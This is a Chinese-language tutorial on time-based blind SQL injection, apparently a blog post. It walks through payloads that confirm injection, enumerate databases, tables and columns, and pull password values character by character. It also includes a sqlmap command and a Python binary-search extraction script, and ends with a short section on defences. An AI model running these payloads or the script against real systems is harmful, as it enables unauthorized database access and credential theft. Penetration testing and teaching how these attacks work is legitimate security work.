SQL注入之时间盲注攻击流程详解
时间盲注通过时间延迟作为判断依据,是渗透测试中突破无回显场景的利器。精准的延迟控制:需考虑网络波动干扰高效的字符猜测策略:优先使用二分法自动化脚本辅助:手动测试效率极低。
·
目录
一、时间盲注原理
时间盲注(Time-Based Blind SQL Injection)是SQL注入的高级利用方式,适用于以下场景:
- 页面无数据回显(无显示位)
- 数据库错误信息被屏蔽
- HTTP响应状态码统一(无布尔型注入条件)
核心原理:通过构造带有时间延迟函数的SQL语句,根据页面响应时间判断注入条件是否成立。例如:
' AND IF(1=1, SLEEP(5), 0) --
若页面响应延迟5秒,则说明条件成立(1=1为真)。
二、完整攻击流程
1. 注入点确认
目标:验证是否存在时间盲注漏洞
Payload构造:
' AND SLEEP(5) --
或
' ; WAITFOR DELAY '0:0:5' -- (MSSQL)
判断依据:
- 正常请求响应时间 < 1秒
- 注入后响应时间 ≥ 5秒则存在漏洞
2. 基础条件判断
目标:通过延迟验证布尔条件
示例(MySQL):
' AND IF(ASCII(SUBSTR(database(),1,1))>100, SLEEP(3), 0) --
- 若页面延迟3秒,说明当前数据库首字母ASCII码 > 100(即字母为'e',ASCII 101)
- 可逐步调整阈值(二分法)快速定位准确值
3. 系统信息收集
(1)获取数据库版本
' AND IF(ASCII(SUBSTR(@@version,1,1))=53, SLEEP(3),0) --
判断版本首字符是否为'5'(ASCII 53),对应MySQL 5.x版本
(2)获取当前数据库名
' AND IF(ASCII(SUBSTR(database(),1,1))=100, SLEEP(3),0) --
通过逐字符判断(d的ASCII为100),最终拼接得到完整库名
4. 数据提取技术
(1)表名枚举
' AND IF(ASCII(SUBSTR(
(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)
,1,1))=117, SLEEP(3),0) --
验证首个表名的首字母是否为'u'(ASCII 117),即常见users表
(2)列名猜测
' AND IF(ASCII(SUBSTR(
(SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1)
,1,1))=105, SLEEP(3),0) --
判断users表首列首字母是否为'i'(id列)
(3)逐字符数据提取
' AND IF(ASCII(SUBSTR(
(SELECT password FROM users LIMIT 0,1)
,1,1))=97, SLEEP(3),0) --
判断首行密码首字符是否为'a'(ASCII 97)
5. 自动化优化技巧
(1)二分法加速判断
- 代替逐次遍历(0-255),采用二分法(每次缩小一半范围)
- 例:判断ASCII值是否>128 → 是则范围缩小到128-255
(2)多线程爆破
- 对多个字符位置同时发起请求
- 需注意目标服务器的并发限制
三、工具辅助利用
1. SQLMap自动化注入
sqlmap -u "http://example.com?id=1" --technique=T --time-sec=3
参数说明:
--technique=T:指定时间盲注技术--time-sec=3:定义延迟阈值
2. 手动脚本示例(Python)
import requests
import time
target_url = "http://example.com?id=1"
payload = "' AND IF(ASCII(SUBSTR((SELECT DATABASE()),{},1))>{},SLEEP(3),0) -- "
for position in range(1, 20):
low = 0
high = 255
while low <= high:
mid = (low + high) // 2
current_payload = payload.format(position, mid)
start_time = time.time()
requests.get(target_url + current_payload)
elapsed = time.time() - start_time
if elapsed > 3:
low = mid + 1
else:
high = mid - 1
print(f"Position {position}: {chr(high)}")
四、防御方案
-
预编译语句(Prepared Statements)
# Python示例 cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,)) -
输入过滤
- 白名单验证数字类型:
user_id = int(input_data) - 过滤特殊字符:
'";<>()&|等
- 白名单验证数字类型:
-
权限控制
- 数据库账户仅授予最小必要权限
- 禁用敏感函数(如
SLEEP()、EXEC)
-
WAF防护
- 部署Web应用防火墙拦截时间盲注特征
- 设置请求超时阈值(如单请求最长处理时间2秒)
五、时间盲注 vs 报错注入
| 对比项 | 时间盲注 | 报错注入 |
|---|---|---|
| 适用场景 | 无任何回显 | 有错误信息回显 |
| 攻击速度 | 极慢(需等待延迟) | 较快 |
| 检测难度 | 更难被传统WAF识别 | 易被基于错误的规则检测 |
| 典型函数 | SLEEP()、BENCHMARK() | updatexml()、extractvalue() |
| 数据提取方式 | 逐字符二分法判断 | 直接显示在错误信息中 |
六、总结
时间盲注通过时间延迟作为判断依据,是渗透测试中突破无回显场景的利器。其核心在于:
- 精准的延迟控制:需考虑网络波动干扰
- 高效的字符猜测策略:优先使用二分法
- 自动化脚本辅助:手动测试效率极低
更多推荐


所有评论(0)